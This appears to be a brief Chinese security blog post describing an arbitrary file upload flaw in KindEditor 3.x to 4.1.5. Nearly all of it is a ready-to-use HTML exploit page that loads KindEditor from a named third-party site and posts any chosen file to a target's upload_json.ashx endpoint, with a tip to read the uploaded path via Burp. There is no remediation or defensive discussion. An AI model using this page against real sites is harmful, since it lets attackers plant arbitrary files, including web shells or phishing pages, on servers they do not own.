MENU

KindEditor (v.3.x->4.1.5)(任意上传)

March 31, 2015 • Security

上传的时候burp截包查看返回路径

<html><head>

<title>Uploader</title>

<script src="http://zpserp.com//kindeditor/kindeditor.js"></script>

<script>

KindEditor.ready(function(K) {

var uploadbutton = K.uploadbutton({

button : K('#uploadButton')[0],

fieldName : 'imgFile',

url : "http://xxx.com///kindeditor/asp.net/upload_json.ashx?dir=file",

afterUpload : function(data) {

if (data.error === 0) {

var url = K.formatUrl(data.url, 'absolute');

K('#url').val(url);}

},

});

uploadbutton.fileBox.change(function(e) {

uploadbutton.submit();

});

});

</script></head><body>

<div class="upload">

<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />

<input type="button" id="uploadButton" value="Upload" />

</div>

</body>

</html>
Archives QR Code
QR Code for this page
Tipping QR Code